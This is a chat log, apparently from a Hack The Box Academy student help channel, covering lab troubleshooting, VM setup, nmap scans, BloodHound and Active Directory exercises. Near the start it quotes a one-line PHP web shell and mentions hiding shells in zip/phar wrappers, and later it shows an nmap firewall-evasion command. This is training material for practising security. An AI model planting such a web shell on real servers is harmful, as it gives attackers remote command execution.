If you upload a webshell it will be like a website where you can type commands to execute on the host machine

#

So no it does not matter what you use

fathom pendant
#

Shells and payloads module has some nifty ones they showcase, but nothing beats the classic <?php system($_GET['cmd']); ?>

#

And on that topic, the file inclusion module showcases using wrappers for obfuscating in a zip/phar

#

Though that sometimes requires some url encoding to get going

north bramble
cedar void
cedar void
fathom pendant
#

For php enabled servers (which is most web servers)

upbeat dew
#

hey guys, why do i keep getting this error?

Initialization Sequence Completed
2024-07-27 07:36:17 Data Channel: cipher 'AES-256-CBC', auth 'SHA256', peer-id: 0, compression: 'lzo'
2024-07-27 07:36:17 Timers: ping 10, ping-restart 120

im using a kali linux virtual machine btw

naive sage
next bronze
#

that's not an error no? it's normal once it's connected

storm elk
#

As long as it says Initialization Sequence Completed it should be good to go

serene trout
#

Anyone have any issues setting up the Windows VM on VirtualBox on the setting up module

#

Having issues where it’s says virtualisation isn’t enabled but it is, everywhere.

next bronze
#

changed it in bios?

serene trout
#

Bios on the host? Yes

#

Was already enabled

sterile solstice
serene trout
#

Enable nested, enabled virtualisation, shows its enabled on both host and VM

#

Literally been trying to sort it for about 2 hours no luck

next bronze
#

are you on windows?

serene trout
#

indeed

#

Windows host, on the windows VM module

next bronze
#

go to task manager > performance > CPU check virtualisation, if it says enabled then it's enabled in bios

#

you should be able to run a vm after thta

serene trout
#

yeah it shows as enabled on both the Host and the VM

next bronze
#

and the vm? wdym? I thought you're setting up a vm

serene trout
#

I am on the VM.. when I try to open Ubuntu is when I get the enable virtualization error (on the VM)

next bronze
#

domain/user@ip should work

next bronze
#

I don't get where you're trying to set up the vm from

serene trout
#

Can I DM you

next bronze
#

verify and you can post images -> #welcome

serene trout
#

Nvm I am just being dumb. For some reason I thought I needed to use Ubuntu on the Windows VM but appears not

#

I have just wasted nearly 2 hours pulling my hair lol

next bronze
#

were you trying to do nested virtualisation?

#

generally you'd never need to do that

split glade
serene trout
#

I just verified anyway, thanku

zenith vale
#

did someone here do the wordpress module/

acoustic owl
#

Just ask your question. Every module in the Academy has already been completed by several people.

zenith vale
#

i have this tendency to start and ask a question and get the solution myself a few moments later

cunning frigate
#

You can look for the version of a service if you used -sV option with nmap

#

Generally tho it's super rare to just do an exploit from Just nmap output

serene trout
#

Nope, I'm still having issues.. @next bronze

wraith pelican
#

i d say it is part of your enumeration process. Specific version of a service running on target, is it vulnerable? is there some CVEs you can use, etc

next bronze
serene trout
next bronze
#

you want to run wsl on your host?

serene trout
#

I'm just trying to follow this guide module

#

It's getting me to run WSL on my VM

#

but it wont let me

next bronze
#

wsl is also a type of vm, if you want to use wsl, install it in your host

serene trout
next bronze
#

I mean it's good to have a windows vm but you don't have to do it now, you can refer to this section later if you find yourself needed one

serene trout
#

no worries. I did think this.. I was just wondering if I had to have it set up for further modules

zenith vale
#

in the skill assessment of the wordpress module there is a question asking from us to download the flag. thing is i cant seem to find a vulnerability regarding a download

serene trout
#

Should I follow the guide on my host computer then? install Chocolatey, etc @next bronze

next bronze
#

no

#

I mean I use chocolatey but you don't need it for the path

wraith pelican
serene trout
#

i cant run any wsl on the vm

next bronze
#

yeah don't do nested vm

serene trout
#

enable virtualization error on all

next bronze
#

as mentioned wsl is a type of vm so if you wanna use it, install it on your host

serene trout
#

sweet

jolly yacht
#

Yo, In Introduction to Windows Command Lines Assessment Section. Any hint or tips to the last task which is ||"What user account on the Domain Controller has many Event ID (4625) logon failures generated in rapid succession, which is indicative of a password brute forcing attack?"|| i tried using ||get-winevent|| cmdlet to acquire the specific logs for the specific event id but for finding the account name part is pretty hard for me. i tried to apply the most repeatedly logon failed account name but still it's not right. Any help pls?

manic cape
#

Hello everyone one, question 🙋‍♀️
Let’s imagine that my network is hacked, how would I protect my cell phone from being hacked through network?

shut vapor
#

This is probably a better question for #general though if it's not related to Academy modules.

shut vapor
#

I'm always interested in questions, but you may get better responses elsewhere.

slow ether
#

Any hints on what word lists to use in the skills assessment for Active Directory Enumeration & Attacks? no luck with rockyou.txt.

elder matrix
#

on the Pivoting, Tunneling, and Port Forwarding module, is there a port preference between port 1080 and 9050? can both be used? or is it a socks4 vs sock5 thing? one can only use port 1080 while the other has to use 9050? i've always wondered that...

slow ether
# elder matrix on the Pivoting, Tunneling, and Port Forwarding module, is there a port preferen...

Yes: Both ports can be used for SOCKS proxies, but they are often chosen based on the application or tool defaults. For example, if you are setting up a general-purpose SOCKS proxy using SSH, you might use port 1080. If you are routing traffic through the Tor network, you would typically use port 9050. Examples:

General SOCKS5 Proxy with SSH:

bash
Copy code
ssh -D 1080 user@remote_host
This sets up a SOCKS5 proxy on port 1080.

elder matrix
elder matrix
next bronze
elder matrix
#

i dont understand why?

next bronze
elder matrix
#

why would i use chatgpt to delete "9050" and replace it with 1080?

#

ill just give it a try f*** it

slow ether
#

learn how to use AI or you will not be employable in the not so distant future

next bronze
#

buddy you have no idea what you're talking about

elder matrix
#

is there an AI module in hackthebox academy?

next bronze
#

not at the moment

elder matrix
#

would be cool though.

slow ether
next bronze
#

sudo apt install john should do it

slow ether
#

struggling with finding a wordlist to crack the hash from the AD module skills assessment. used rockyou/secLists. seems like a rule based attack would be outside the scope of this module

dire birch
#

u can compile it then

upbeat dew
compact patrolBOT
neat pelican
#

Hello, I have some question about the footprinting module to anyone who has finished it

slow ether
# ocean night Tried switching to TCP?

struggling with finding a wordlist to crack the hash from the AD module skills assessment. used rockyou/secLists. seems like a rule based attack would be outside the scope of this module

ocean night
storm elk
dim wolf
spring trellis
#

Hi anyone having issues with connecting to OpenVAS in the Vulnerability Assessment module ?

neat pelican
# dim wolf you can ask your question and someone may help

sorry it took some time to ask my question, I made sure that I did not miss anything.

At Footprinting medium lab, I got the 'juicy info' after mounting NFS, after trying to access it via smbclient the password has a special character "!" that makes the smbclient command go "event not found:"

spring trellis
#

I am trying to do the skill assesment but am not able to connect to OpenVAS with the IP provided, all I get is " The connection has timed out"

muted jacinth
#

I'm really sorry to come back to this but there is no available users that can modify the file on the dacl skill asess concerning ||manuel||.
the folder|| '\SDE01\Shared'|| is not available for writing.
am i supposed to compile an exe and replace Rundll32.exe for real?

obtuse haven
#

ah the port forwarding and tunneling final lab is fun

next bronze
#

find where it is on the system

muted jacinth
#

there must be somethings i don't understand here but anyway

next bronze
willow wasp
#

Following through the steps on meterpreter tunneling/port forwarding, still can't get to replicate the results from the module. It's showing that the port is filtered instead of the expected open -- doing this on a newly started pwnbox, no other modifications aside from the ones listed on the module itself:

marsh echo
#

hello in the sqlmap skill assessements i would like to know how to determine that we need to randomize the user agent i find it badly explained in the course i could understand with my research that if we receive an error code 406 or 403 we have to use the --random-agent option but it's not really clear

#

knowing in the network section just recovers a 200 code with the .php file you want to recover.

normal sand
#

I've had my Kali VirtualBox VM configured to Scale to 200% (autoscaled output) and it looks kinda blurry. When I set it to Scale to 100% (unscaled output), it gets really small. How can I increase size of everything without making things blurry?

marsh echo
#

did you download the virtualbox dependencies with their .iso?

normal sand
#

I'm not sure since it's been quite a while.

#

I had installed this VM using Kali's .iso file from their download's page.

marsh echo
#

C:\Program Files\Oracle\VirtualBox the way to iso

normal sand
simple ledge
#

Anyone else having issues RDPing into box on Password Attacks -> Credential Hunting in Windows? I tried earlier and it wasn't working so thought I would give it some time and come back later but still getting the same issue. I'm getting some network errors, looks like the machine spawns but then tries to reconnect a few times and then dies.

marsh echo
# normal sand

were you able to install the dependance contain in the iso ?

normal sand
marsh echo
normal sand
#

Maybe it's my resolution settings? Cuz the laptop I'm using now has a much higher resolution compared to my previous one.

marsh echo
#

I had the same problem as you in terms of resolution and this was able to solve my problem.

normal sand
#

2880x1620

#

It doesn't show as an option under virtual screen.

valid sinew
#

Hi Guys

So I am doing the web proxy challenge and when going to the IP of the target machine I get the ping your IP ok.

When I put in /lucky.php I get Cannot GET /luck.php

Also when I open burpsuite and open the browser within burp suit and go to the target machine I cannot get their it just circle and circle.

Any help would be appreciated.

Many Thanks

Kapz

marsh echo
#

yes

normal sand
#

So maybe I just need to increase the icon, top bar size, and the system font size?

simple ledge
glass quail
#

can anyone help me with fuff I am getting a lot of error? I'm trying to see what the error are

simple ledge
marsh echo
normal sand
glass quail
#

ffuf I mean

simple ledge
marsh echo
glass quail
normal sand
glass quail
simple ledge
simple ledge
glass quail
simple ledge
simple ledge
glass quail
tacit bone
#

I DO NOT UNSDERSTAND WAT DIS SERVER IS ABOUT

glass quail
marsh echo
simple ledge
glass quail
simple ledge
acoustic owl
marsh echo
simple ledge
twilit epoch
#

Hello, I would like some guidance with Windows PE, SeDebugPrivilege lab. Can someone give me a nudge in the right direction?

tacit bone
acoustic owl
pulsar oak
#

Hi guys, this is a serious question.
I am on the footprinting module, I pass the final tests easy and medium, I ran into the problem that I follow the correct algorithm when solving, but there is always something missing and after 2 hours of torment I still have to look into the solution.
What should I do? under no circumstances do not look at the solution, or if it takes a long time to see a piece of the algorithm, I ask pentesters with experience to tell me how to act in situations when you cannot come to a decision

lavish shell
#

https://academy.hackthebox.com/module/21/section/132
Why ?
#!/bin/bash
var="nef892na9s1p9asn2aJs71nIsm"
for counter in {1..40}
do
var=$(echo $var | base64)

if [ $counter -eq 35 ]
then
    echo "1 - Number of characters in the 35th encoded value: ${#var}" #1197734
    echo "2 - Number of characters in the 35th encoded value: $(echo $var | wc -c)" #1197735
    echo "3 - Number of characters in the 35th encoded value: $(echo -n $var | wc -c)" #1197734
fi

done

The correct answer is echo 2
i try with 1197734 but it didn't work for me

shut creek
#

The password to connect to my box is incorrect. I've typed / copypasted it and it's still refusing connection.

cloud urchin
#

connection refused isn't an auth error

shut creek
#

sorry, Permission denied.

cloud urchin
#

need more context like the module etc

shut creek
#

I'm doing linux fundementals- I've regenerated the machine twice. The user password combo isn't working for me. I'm using "htb-student" and "HTB_@cademy_stdnt!"

cloud urchin
#

can you show your command

shut creek
#

nope. I was going to try respawning my pwnbox but I'm only allowed 1 spawn per day. Fuck this.

cloud urchin
#

ok, without knowing what you used my guess would be you didn't wrap the password in single quotes

shut creek
#

I wasn't running it as a single command

cloud urchin
#

you must have ran a command trying to connect in some manner

shut creek
#

ssh 10.129.208.254 htb-student

cloud urchin
#

that's not the syntax for ssh

shut creek
#

HTB_@cademy_stdnt!

cloud urchin
#

ssh htb-student@ip

shut creek
#

🙃

#

well I can't do anything about it now anyways.

cloud urchin
#

that's ok, now you know

wraith pelican
# pulsar oak Hi guys, this is a serious question. I am on the footprinting module, I pass the...

Hey, I've not really more experience than you but if that can help, I'd say it is ok to get stuck and it can be difficult sometimes. 2 hours is not that much time to think about a problem and even more if there is a lot to enumerate. I tend to think this is a part of the game. There is no rush, try to not be pressured by the time it 'should' take to complete a module.
What you should do depends on you. For me the reward of finding a solution beats the pain of not finding it... But that can be stupid sometimes...

Usually taking a break if you are stuck and coming at it later or the next day can give you a fresher mind, looking at the info you got from another perspective. Going back to the course material is also useful. Try to not discard anything without trying. And you can ask questions, what have you missed, have you enumerated enough, did you miss some open ports in your nmap scans. Be sure to get all those open ports, then enumerate each one.

You can also ask for a hint here. Sometimes just writing your question will make you think of a solution.

pulsar oak
north bramble
#

Hello, how long does bruteforcing with crowbar usually take? I am on Password attacks skills assessment Hard. it has been running for 15 mins. using mutated passwords.

cloud urchin
#

i think it took me about 15 mins or so? it should be under 30 for sure

copper cobalt
#

Hello guys, I hope all of you are well. I am stuck in the module "Netowrk Enumeration With Nmap", specifically the medium firewall evasion lab. Ihave tried the following command: sudo nmap -sSU -p 53 --script dns-nsid,dns-service-discovery,dns-srv-enum 10.129.120.164 --source-port 53 -Pn -sV -D RND:10 --disable-arp-ping

and I didn't get the flag. I only got this as an output:
PORT STATE SERVICE VERSION
53/tcp filtered domain
53/udp open domain NLnet Labs NSD

I tried many other ways, including -A, and I read online blogs and mimicked their way and still got the same answer. I even reseted the machine and tried again, but I still seem to get a persistent answer. Any help is appreciatedprayge

dim wolf
#

i've heard that using Pwnbox gives different results

copper cobalt
#

alright will try it out, thank you🫡

#

didn't work sadly

#

i'm trying on pwnbox.... fingers crossed

north bramble
north bramble
wraith pelican
#

it is generally not useful to give the answer of a skill assessment... the goal is to find it, not get it.

north bramble
wraith pelican
copper cobalt
#

no its okay

#

he didn't give me the answer

#

my previous command worked immediately on pawnbox

north bramble
copper cobalt
#

i don't know how

copper cobalt
north bramble
# copper cobalt i don't know how

I was told by my friend that somehow pwnbox is allowed to bypass firewall.

in the medium or hard lab, I wasnt able to do nmap scans repeatedly. somehow the ports would get blocked for 5-10 mins.

copper cobalt
#

yes there are alerts, which slow you down, on the contrary, this is a good motivation. But I can't wrap my head around the idea that the same command works on pwnbox and not kali

north bramble
wraith pelican
grave urchin
#

in the VPS hardening, when editing the jail.conf file in fail2ban, where exactly does it go? There are 2 spots that say [sshd]

wraith pelican
north bramble
copper cobalt
#

thank you all!

wraith pelican
grave urchin
#

It seems like the changes could be made in either of these places. I am confused

north bramble
wraith pelican
#

recheck the assessment intro

north bramble
wraith pelican
#

and see if there is anything different with the fields in your command

north bramble
#

anyways, I am stopping it now, screw it

silk anchor
#

Web Attacks done, Fun and interesting module. Spent way too much time making fancy enumeration scripts but they turned out very useful.

wraith pelican
north bramble
#

Uh J capital? Idts that would make a difference? That sounds stupid but idts it would?

north bramble
silk anchor
wraith pelican
silk anchor
wraith pelican
#

forest, active, blackfield, reel, sauna but a bit of web
i guess that's the ad track

north bramble
silk anchor
# wraith pelican the contracts script? that was a fun one : )

Yeah that was one of them. I had no bash scripting experience so decided to spend a bit of time on it. I made it decode the UIDs, rename files as they were saved and remove any empty files while outputting its progress to the terminal as it was running.

I also made a user enum script that you can easily change the search parameters on so you could potentially use it for various things along with putting out data as it runs.

Defo learned a lot doing it.

modest remnant
#

In the Transferring Files with Code section (https://academy.hackthebox.com/module/24/section/1574) is it by design that the target box doesn't have most of the programming binaries installed (no php, ruby, perl missing module but can't use CPAN)? Seems counter to the section recap exercise to "practice various file transfer operations (upload and download) with your attack host"

slender violet
fathom pendant
#

Try a different tool like rdesktop or remmina and if those work it's an issue with xfreerdp

slender violet
#

rdesktop worked

fathom pendant
#

Message support then [note support is reduced capacity on weekends] and drop your screenshots/link to module there alongside screenshot of another tool working

slender violet
#

Will do

muted jacinth
#

Hey, the last part of the skill assessment of dacl attack II has to do with the ||tangui ||user and ||samaccount spoofing?||

tranquil crystal
#

I mean I used multiple ways to determine the OS

fathom pendant
#

You can't determine the flavor of linux from ttl

tranquil crystal
#

I got it. They watned os name.

#

I used a service to grab banner

#

Now I'm on to the medium lab.

#

If I netcat to port 53, I can seemingly connect. So a tcp handshake goes through? hmm. I dunno

#

Oh it's a UDP service. hmm.

#

I got it

earnest sequoia
#

Module: Attacking Common Services - Easy

Could I just check if it is possible to do this with a reverse-shell? I found no success with uploading shells from various sources, only success with the one-liner web shell (following the course material). No success in trying to convert laudanum php-reverse-shell into a one-liner and uploading it either.

fathom pendant
#

Take a minute to think

fathom pendant
tranquil crystal
#

I didn't ask about every step. I asked about what was unclear to me. Which upon research was clarified.

#

If I wasn't thinking, I'd not be asking questions. Thought is a requirement for this.

fathom pendant
#

try everything you were taught first

#

then ask if you're unsure if you're doing it right

tranquil crystal
#

Well I did, then when I failed, then I asked.

#

I always try everything first.

#

Asking people is my last avenue.

fathom pendant
#

also remember there are times where you'll need to combine techniques

#

i.e. using source port AND scanning (and source port AND connecting)

tranquil crystal
#

I see. Thank you

formal sand
#

Server Side Attack - Blind SSRF
https://academy.hackthebox.com/module/145/section/1300
I tried bur to locate the open port it takes forever and not found any open ports only port 80
I tried my own pythons code it’s the same

Which port is open in addition to port 80?
Did I misunderstand the task?

uneven oracle
uneven oracle
zinc nimbus
#

ye i only use my own machine and it’s faster and easier too

shut creek
mint peak
#

https://academy.hackthebox.com/module/67/section/1637

Working through Windows Priv Esc module, and currently on Pillaging. Regarding retrieving the password hash for administrator via restic backup, I have retrieved three important registry files, and copied them back to my attack box to use secretsdump.py on them, however I am receiving:

secretsdump.py -system SYSTEM -security SECURITY -sam SAM local

Impacket v0.11.0 - Copyright 2023 Fortra

[-] read length must be non-negative or -1
[*] Cleaning up...

Any idea? Have tried the different hives on all three possible backups, same error with all of them. Maybe a secretsdump.py issue?

wraith pelican
mint peak
#

My hunch is somehow the SAM and SYSTEM files might have malformed headers or something? Not sure. I reset the VM, and retransferred the files over and still getting the same error.

Downloaded the newest version of secretsdump.py and still no luck

mint peak
next bronze
#

that's what the error is telling you

next bronze
wraith pelican
mint peak
next bronze
#

use another transfer method, ftp is very clunky

mint peak
next bronze
#

generally http/smb is gonna be the most reliable

#

or if you have rdp you can just mount a drive

limpid hemlock
#

Hey in the active directory akill assesment part 2 the third question use a common method find weak creds for another user submit user name i found a list of users by using crackmapexec but dont knw how to find the password by trying password spraying ?

jolly yacht
# next bronze are you running the command on the domain controller

oh I am not, now i found the answer in the domain controller. Thanks for that but I am not clear and confident about the answer since i just guessed it because the particular account name after ||"Account for which logon failed:"|| appeared more in the log but I am not sure about that. Is there any way to fetch ||the Subject and its following Account Name after a newline and the Account for which logon failed and its following Account Name after a newline in the logs ?|| sls works but I can't able to achieve the result with that since it matches with line by line basis.

next bronze
next bronze
serene trout
#

hi guys, what can i do if ive already used my instance on HTB today?

limpid hemlock
#

4th one

serene trout
#

is the only way to get more subscribe?

limpid hemlock
#

I got a list of users but dont knw how to password spray as i dont have a list of passwords to do that with

next bronze
#

well try the common ones, there are some in the password spraying section

next bronze
limpid hemlock
#

Mm ok

serene trout
#

sweet, ill sub now @next bronze

next bronze
serene trout
#

how does one connect to HTB then

next bronze
serene trout
#

thanks again, appreciate you

limpid hemlock
#

This question in skill assesment part 2 active directory im kinda stuck here Locate a configuration file containing an MSSQL connection string. What is the password for the user listed in this file?

silk anchor
limpid hemlock
#

Im kinda having trouble setting it up i git cloned it and transfered it to the windows but i am stuck at compileing it to an exe

#

To perform the attack any help ?

fathom pendant
#

^

fathom pendant
#

Saves time of trying to find/compile

limpid hemlock
#

Ohh from machine to windows right ?

fathom pendant
#

I mean: when I was going through the module, I transferred stuff from C:\tools to my machine

#

That way I had them

silk anchor
#

One thing I like doing that I don't think is covered in the module. When connecting with xfreerdp you can use /drive:Share,. in your command and it will make a SMB share you can access from the machine you are connecting to.

If you have all your tools in the folder you run the command from its very easy to transfer files back and forward. Not exactly sneaky but it works and works through pivots etc (if you are using ligolo).

obtuse haven
#

any suggestions on the tunneling final lab if my connection is kinda poor

#

i just need to do the last step to get into the domain controller

naive wadi
#

In windows privesc the applocker section says that cmd.exe should be blocked and looking at the deny rules shows it to be blocked to but it can still be run (as well as another tool) Would these rules be getting overridden by these ?

PathExceptions      : {}
PublisherExceptions : {}
HashExceptions      : {}
Id                  : 06dce67b-934c-454f-a263-2515c8796a5d
Name                : (Default Rule) All scripts located in the Program Files folder
Description         : Allows members of the Everyone group to run scripts that are located
UserOrGroupSid      : S-1-1-0
Action              : Allow

PathConditions      : {%WINDIR%\*}
PathExceptions      : {}
PublisherExceptions : {}
HashExceptions      : {}
Id                  : 9428c672-5fc3-47f4-808a-a0011f36dd2c
Name                : (Default Rule) All scripts located in the Windows folder
Description         : Allows members of the Everyone group to run scripts that are located
UserOrGroupSid      : S-1-1-0
Action              : Allow

If they are it's strange (could be my lack of understanding) as the order of operations has the deny rule higher up and looking at the windows documentation for applocker the deny would take precedence over the allow rule https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/applocker/understanding-applocker-allow-and-deny-actions-on-rules

This article explains the differences between allow and deny actions on AppLocker rules.

eager ledge
#

I am running Kali in virtual box in HP windows. It does have GPU. I am trying to execute BloodHound in the Kali virtual box, but all it does is give me a blank white screen

#

I downloaded BloodHound from its release page from github for Linux x64

#

I tried starting neo4j service before starting BloodHound. But no avail

spring belfry
#

hey guys, I recently bought this "roccat ELO 7.1 USB headset" but im finding it difficult to connect it with my laptop! can anyone guied me with this proplem!

fathom pendant
fathom pendant
#

it doesn't fetch data

#

there should be sharphound on the target machine (if not a skill assessment)

eager ledge
# fathom pendant bloodhound needs data

I know that. But for me to upload the data in the first place, I need to get the UI which shows Upload button. It is literally just a blank white screen with nothing in it

fathom pendant
#

that's just how it looks

wraith pelican
eager ledge
#

I want to visualize the data

fathom pendant
#

i haven't had issues with bloodhound ¯_(ツ)_/¯

eager ledge
#

But the UI doesn't show anything

fathom pendant
#

got a screenshot of the bloodhound window?

next bronze
#

just use CE 4Head

wraith pelican
#

when you grab just the file from github you might not have all the dependencies installed

fathom pendant
next bronze
#

nah the older versions also work

fathom pendant
# eager ledge

yeah it's waiting on data; look on the right side of the bloodhound GUI

#

i'm seeing it has the search loaded in the top left. the top right is where the upload button is

eager ledge
#

There is nothing on the right side

eager ledge
fathom pendant
#

oh nvm i was seeing some weird background thing from your terminal

#

i assumed it was the GUI because it wasn't terminal text

#

as @wraith pelican said, you might not have all the dependencies installed for it

eager ledge
fathom pendant
#

you can just install via apt

fathom pendant
#

as kali and most have an old version that works just fine

fathom pendant
fathom pendant
#

but it's meant to be run in a docker container, not directly

naive wadi
eager ledge
naive wadi
#

easiest way, is to logout of kali & on the login screen click the cog symbol and it should show you what you are running

next bronze
#

kali should be x11

naive wadi
#

doesn't mean they haven't done anything funky to play with with a new de etc

next bronze
#

I mean if they made changes to the default de they would've known

fathom pendant
#

^

naive wadi
#

people copy and paste thigns all the time to just get things working

#

without knowing

fathom pendant
#

let's not really jump to conclusions my dude

naive wadi
#

that's not jumping

fathom pendant
#

benefit of the doubt and all that

naive wadi
#

that's my point

next bronze
naive wadi
#

could be a simple fix

#

if people don't know they don't know

fathom pendant
#

it's jumping to the conclusion that zombiie is using a different DE than x11 because they ran a script that modified it

eager ledge
naive wadi
#

could be a super simple fix if they had tried wayland before and not known

fathom pendant
eager ledge
next bronze
#

noice

fathom pendant
#

there's trying to help, and then just being like "well they could have installed a different DE copy/paste scripts"

fathom pendant
#

and apt is a simple fix 99% of the time

#

your way is assuming the user is a complete skid, which is rude

naive wadi
#

sure thing

wraith pelican
# eager ledge It worked!

you can even run the CE edition if you want to give it a go, the UI is a bit different and it might replace the older one from repos

next bronze
#

I like CE more tbh

fathom pendant
#

either way; they get it working

#

so no problems here

#

:)

wraith pelican
next bronze
#

they're add more since

#

and if you can write them yourself it doesnt' really matter

#

I just feel it's more flexible and responsive

eager ledge
next bronze
#

nah docker in a vm is mostly fine, it's very lightweight

eager ledge
#

Thanks everyone 🥹

spiral scarab
#

Hello everyone, can someone tell me if there is a module talking about techniques or line of thoughts for finding ways to maintain access to a host during a pentest ?

brave field
#

Is there a way to find out if my Country's academic institutions fall under HTB student package domain? Thanks.

fathom pendant
fathom pendant
#

simple way: put your academic email in, if discount unlocks - it's there: if not - message support anyway

spiral scarab
#

Thanks for the info

fathom pendant
#

it's at least not mentioned for CPTS ¯_(ツ)_/¯

fathom pendant
#

it could be a topic for the alleged red team cert that's coming out

brave field
fathom pendant
#

on the website

#

support doesn't monitor the discord